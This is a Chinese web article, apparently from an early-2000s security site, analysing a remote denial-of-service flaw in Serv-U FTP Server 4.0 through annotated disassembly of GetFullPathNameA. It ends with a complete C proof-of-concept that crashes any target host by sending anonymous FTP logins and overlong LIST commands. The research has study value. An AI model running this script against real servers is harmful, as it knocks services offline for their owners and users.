[网页高手]
Homepage
[网络编程]
Programe
[图形图像]
Picture
[冲浪宝典]
Insernet
[操作系统]
System
[软件教学]
Software
[数码时代]
Didgtale
[安全防御]
Didgtale
[IT学院]
Education
    
 
Google Web tongyi.net
 
    你的位置:首页 > 安全防御 > 系统漏洞 > Serv-U FTP Server远程拒绝服务漏洞以及原因分析
安全防御
  黑客技法

黑客工具

系统漏洞

病毒防治

综合安全

安全防御

 
Serv-U FTP Server远程拒绝服务漏洞以及原因分析


涉及程序版本:
Serv-U FTP Server v4.0.0.4(以前版本也可能存在该漏洞,没有测试过)

漏洞类型:
远程拒绝服务

漏洞描述:
    前几天使用了一下RhinoSoft出品的Serv-U FTP,感觉还不错,简单
测试了一下其安全性,发现当用匿名用户登陆后,发送LIST NNNN...命令,
后跟的字符数量达到253字节时,服务端报错,并且错误对话框无法关闭,
只能重启Serv-U FTP服务才行。
    由于是由长字符串造成的,我一开始还认为是溢出之类的漏洞。后来
经过深入分析程序汇编代码,发现这不是一般的溢出,甚至可以说不是
Serv-U的本身程序的问题,而是一个WIN32 API的设计上的BUG。
    GetFullPathNameA这个API用来获取指定文件的路径,但是它在处理
长文件名时没有考虑好边界条件,造成可能访问到不存在的内存地址,
在Serv-U的例子里就造成了拒绝服务攻击。本来一般像这种访问不存在
内存的漏洞,程序的异常处理都可以恢复过来的,不至于造成程序崩溃,
但是正是由于这个问题是由系统DLL出错而造成的,而不是应用程序本身
的问题,所以应用程序的异常处理例程无法正确处理该问题,从而导致了
服务端程序崩掉。
    不仅仅是LIST命令受该漏洞影响,所有后跟参数是文件名的命令都有
这个问题,例如MDTM等等。另外触发这个漏洞的串长度是根据ftp根目录的
设置不同而定的,我写了个程序来测试该漏洞,程序见后面。
    由于这个漏洞无法用来得到权限,所以也懒得报告到BUGTRAQ上去了,
不过分析漏洞的过程还是让我有点收获,起码知道了编程中哪些地方是程
序员容易忽视而造成安全漏洞的地方,微软的程序员也一样犯这样的错误。
    
程序分析:

    下面是通过对该程序的反汇编代码的分析来解释造成该漏洞的原因。
由于反汇编出的代码有几十M之大,分析的时候难免出错,敬请各位发现
问题的同志指出。
    Serv-U在接受到LIST NNN...命令后对文件名进行处理,会进入下面
这一段程序:
* Referenced by a CALL at Addresses:
|:005A4A8F   , :005A4C97  
|
:005A338C 55                      push ebp
:005A338D 8BEC                    mov ebp, esp
:005A338F 83C4F8                  add esp, FFFFFFF8
:005A3392 53                      push ebx
:005A3393 56                      push esi
:005A3394 57                      push edi
:005A3395 8B7D08                  mov edi, dword ptr [ebp+08]
:005A3398 6804010000              push 00000104
:005A339D E802F9FEFF              call 00592CA4
:005A33A2 59                      pop ecx
:005A33A3 8BD8                    mov ebx, eax
:005A33A5 85C0                    test eax, eax
:005A33A7 7507                    jne 005A33B0
:005A33A9 33C0                    xor eax, eax
:005A33AB E9A9000000              jmp 005A3459

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005A33A7(C)
|
:005A33B0 8D55FC                  lea edx, dword ptr [ebp-04]
:005A33B3 52                      push edx
:005A33B4 53                      push ebx
:005A33B5 6804010000              push 00000104
:005A33BA 8B4D0C                  mov ecx, dword ptr [ebp+0C]
:005A33BD 51                      push ecx ;这里是ftp跟目录加上LIST参数

* Reference To: KERNEL32.GetFullPathNameA, Ord:0000h
                                  |
:005A33BE E89F630100              Call 005B9762 ;调用GetFullPathNameA

;-------------------------------------------------------------------------------------------
;调用到Kernel32.dll里的GetFullPathNameA函数
Exported fn(): GetFullPathNameA - Ord:012Ah
:77E80DBD 55                      push ebp
:77E80DBE 8BEC                    mov ebp, esp
:77E80DC0 83EC24                  sub esp, 00000024
:77E80DC3 53                      push ebx
:77E80DC4 56                      push esi
:77E80DC5 8B7514                  mov esi, dword ptr [ebp+14]
:77E80DC8 33DB                    xor ebx, ebx
:77E80DCA F7DE                    neg esi
:77E80DCC 57                      push edi
:77E80DCD 8D45FC                  lea eax, dword ptr [ebp-04]
:77E80DD0 FF7508                  push [ebp+08]
:77E80DD3 895DF8                  mov dword ptr [ebp-08], ebx
:77E80DD6 1BF6                    sbb esi, esi
:77E80DD8 23F0                    and esi, eax
:77E80DDA 8D45EC                  lea eax, dword ptr [ebp-14]
:77E80DDD 50                      push eax
:77E80DDE E81E89FEFF              call 77E69701
:77E80DE3 85C0                    test eax, eax
:77E80DE5 0F84039C0000            je 77E8A9EE
:77E80DEB 64A118000000            mov eax, dword ptr fs:[00000018]
:77E80DF1 8B4030                  mov eax, dword ptr [eax+30]
:77E80DF4 BF0A020000              mov edi, 0000020A ;长度限制,不正确!!!
;这里0x20A是分配的堆的大小,同时也作为后边判断RtlGetFullPathName_U
;返回长度的比较长度的限制
:77E80DF9 57                      push edi
:77E80DFA FF35B0F7EB77            push dword ptr [77EBF7B0]
:77E80E00 FF7018                  push [eax+18]
;分配0x20A字节的内存堆
* Reference To: NTDLL.RtlAllocateHeap, Ord:014Ah
                                  |
:77E80E03 FF150410E677            Call dword ptr [77E61004]
:77E80E09 3BC3                    cmp eax, ebx
:77E80E0B 8945F4                  mov dword ptr [ebp-0C], eax
:77E80E0E 0F84C69B0000            je 77E8A9DA
:77E80E14 56                      push esi
:77E80E15 50                      push eax
:77E80E16 6808020000              push 00000208
:77E80E1B FF75F0                  push [ebp-10]
;RtlGetFullPathName_U用来得到路径的UNICODE字符串,这个函数是由长度限制的,
;当长度大于0x208的时候无法正确得到路径,即无法正确拷贝串到ebp-0C中。
* Reference To: NTDLL.RtlGetFullPathName_U, Ord:01E7h
                                  |
:77E80E1E FF15AC10E677            Call dword ptr [77E610AC]
:77E80E24 3BC7                    cmp eax, edi ;这个判断不对,应该跳到错误处理去!
;但是由于前面的限制是0x20A,所以当用0x20A长的字符串时就会判断出错,
;不会进入错误处理去,而是继续对没有得到内容的堆内存进行后面的操作,
;这就是出错的根源
:77E80E26 894508                  mov dword ptr [ebp+08], eax
:77E80E29 0F87CC9B0000            ja 77E8A9FB

* Reference To: NTDLL.RtlUnicodeToMultiByteSize, Ord:0294h
                                  |
:77E80E2F 8B356010E677            mov esi, dword ptr [77E61060]
:77E80E35 50                      push eax
:77E80E36 FF75F4                  push [ebp-0C]
:77E80E39 8D4508                  lea eax, dword ptr [ebp+08]
:77E80E3C 50                      push eax
:77E80E3D FFD6                    call esi ;call RtlUnicodeToMultiByteSize
:77E80E3F 3BC3                    cmp eax, ebx
:77E80E41 0F8CAE9B0000            jl 77E8A9F5
:77E80E47 395D08                  cmp dword ptr [ebp+08], ebx
:77E80E4A 0F8491000000            je 77E80EE1
:77E80E50 395D14                  cmp dword ptr [ebp+14], ebx
:77E80E53 7420                    je 77E80E75
:77E80E55 8B45FC                  mov eax, dword ptr [ebp-04]
:77E80E58 3BC3                    cmp eax, ebx
:77E80E5A 7419                    je 77E80E75
:77E80E5C 2B45F4                  sub eax, dword ptr [ebp-0C]
:77E80E5F D1F8                    sar eax, 1
:77E80E61 D1E0                    shl eax, 1
:77E80E63 50                      push eax
:77E80E64 8D45F8                  lea eax, dword ptr [ebp-08]
:77E80E67 FF75F4                  push [ebp-0C]
:77E80E6A 50                      push eax
:77E80E6B FFD6                    call esi ;call RtlUnicodeToMultiByteSize----出错!!!
;第2次调用RtlUnicodeToMultiByteSize的时候会把上面的错误显现出来
:77E80E6D 3BC3                    cmp eax, ebx
:77E80E6F 0F8C809B0000            jl 77E8A9F5

;-------------------------------------------------------------------------------------------

最后一个call esi调用这里
Exported fn(): RtlUnicodeToMultiByteSize - Ord:0296h
:77F83EA4 8B44240C                mov eax, dword ptr [esp+0C]
:77F83EA8 56                      push esi
:77F83EA9 33F6                    xor esi, esi
:77F83EAB D1E8                    shr eax, 1
:77F83EAD 803D14F3FC7700          cmp byte ptr [77FCF314], 00
:77F83EB4 0F8598D30100            jne 77FA1252 ;会转到77FA1252去执行
:77F83EBA 8B4C2408                mov ecx, dword ptr [esp+08]
:77F83EBE 8901                    mov dword ptr [ecx], eax
:77F83EC0 33C0                    xor eax, eax
:77F83EC2 5E                      pop esi
:77F83EC3 C20C00                  ret 000C

;-------------------------------------------------------------------------------------------

跳到这里
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77F83EB4(C)
|
:77FA1252 8BC8                    mov ecx, eax
:77FA1254 48                      dec eax
:77FA1255 85C9                    test ecx, ecx
:77FA1257 7424                    je 77FA127D
:77FA1259 8B4C240C                mov ecx, dword ptr [esp+0C]
:77FA125D 57                      push edi
:77FA125E 8D7801                  lea edi, dword ptr [eax+01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77FA127A(C)
|
:77FA1261 0FB701                  movzx eax, word ptr [ecx]
;这里会有个循环不断的取ecx的值,也就是前边RtlAllocateHeap分配的那个堆,
;因为前面那个堆里没有正确存放内容,所以会造成不跳出循环,从而一直取到
;内存页面不存在的地方,即0x00152000(也可能是别的值,由堆地址所定)。

:77FA1264 8B155404FD77            mov edx, dword ptr [77FD0454]
:77FA126A 41                      inc ecx
:77FA126B 41                      inc ecx
:77FA126C 668B0442                mov ax, word ptr [edx+2*eax]
:77FA1270 33D2                    xor edx, edx
:77FA1272 8AD4                    mov dl, ah
:77FA1274 84D2                    test dl, dl
:77FA1276 7510                    jne 77FA1288
:77FA1278 46                      inc esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77FA128A(U)
|
:77FA1279 4F                      dec edi
:77FA127A 75E5                    jne 77FA1261
:77FA127C 5F                      pop edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77FA1257(C)
|
:77FA127D 8B442408                mov eax, dword ptr [esp+08]
:77FA1281 8930                    mov dword ptr [eax], esi
:77FA1283 E9382CFEFF              jmp 77F83EC0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77FA1276(C)
|
:77FA1288 46                      inc esi
:77FA1289 46                      inc esi
:77FA128A EBED                    jmp 77FA1279

漏洞测试程序:

/*
    Serv-U FTP Server 4.0 remote DoS
       by isno(isno@xfocus.org)
*/
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"Ws2_32")

void main(int argc, char *argv[])
{
  //anonymous ftp user and passwd
  char user[] = "USER ftp\r\n";
  char pass[] = "PASS bug@rhinosoft.com\r\n";
  char buff[1024];
  int  s, i;
  struct hostent *ht;
  struct sockaddr_in sin;
  WSADATA WSAData;
  
  if(argc != 2)
  {
    printf("Usage: %s host\r\n",argv[0]);
    exit(0);
  }
  if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
  {
    printf("WSAStartup failed.\n");
    WSACleanup();
    exit(1);
  }
  if((ht = gethostbyname(argv[1])) == 0)
  {
    printf("cannot resolve %s\n",argv[1]);
    exit(1);
  }
  sin.sin_port = htons(21);
  sin.sin_family = AF_INET;
  sin.sin_addr = *((struct in_addr *)ht->h_addr);
  if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  {
    printf("cannot setup socket\r\n");
    exit(1);
  }        
  if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  {
    printf("cannot connect\r\n");
    exit(1);
  }
  memset(buff,0,sizeof(buff));
  if(recv(s, buff, 200, 0) == -1)
  {
    printf("cannot recv\r\n");
    exit(1);
  }
  printf("%s\r\n",buff);
  printf("%s\r\n",user);
  memset(buff,0,sizeof(buff));
  if(send(s, user, strlen(user), 0) == -1)
  {
    printf("cannot send\r\n");
    exit(1);
  }
  memset(buff,0,sizeof(buff));
  if(recv(s, buff, 200, 0) == -1)
  {
    printf("cannot recv\r\n");
    exit(1);
  }
  printf("%s\r\n",buff);
  printf("%s\r\n",pass);
  memset(buff,0,sizeof(buff));
  if(send(s, pass, strlen(pass), 0) == -1)
  {
    printf("cannot send\r\n");
    exit(1);
  }
  memset(buff,0,sizeof(buff));
  if(recv(s, buff, 200, 0) == -1)
  {
    printf("cannot recv\r\n");
    exit(1);
  }
  printf("%s\r\n",buff);
  
  //try long para from 200 to 300 bytes
  for(i=200;i<300;i++)
  {
    printf("send LIST NNN...(%d bytes)\r\n",i);
    memset(buff,0,sizeof(buff));
    memcpy(buff,"LIST ",5);
    memset(buff+5,0x4e,i);
    memcpy(buff+5+i,"\r\n",2);
    if(send(s, buff, strlen(buff), 0) == -1)
    {
      printf("cannot send\r\n");
      exit(1);
    }
    memset(buff,0,sizeof(buff));
    if(recv(s, buff, 200, 0) == -1)
    {
      printf("0verflow!\r\n");
      return;
    }
  }
  closesocket(s);
  printf("target is not vuln\r\n");
  return;
}
     打印本文 | 推荐朋友 | 收藏文章 | 关闭窗口
 
 

    相关文章
 微软宣布其WinXP及四种软件产品存在漏洞    (2002年7月29日)

 Word及Excel中发现多处安全漏洞    (2002年7月29日)

 用Linux防火墙伪装抵住黑客攻击    (2001年12月2日)

 Win2000 Server入侵监测    (2001年12月2日)

 专家称Unix操作系统存在安全漏洞    (2001年11月19日)

 窥探“超级保镖”的致命漏洞    (2001年11月17日)

 网站密码恢复机制的设计    (2001年8月12日)

 使用输入法漏洞建立管理员账号的方法整理     (2001年8月8日)

 
 

 

关于统一 | 联系合作 | 统一作品 | 版权申明 | 建站服务 | 更多说明
Copyright 2000-2003 Tongyi All rights reserved. 京ICP备05005608号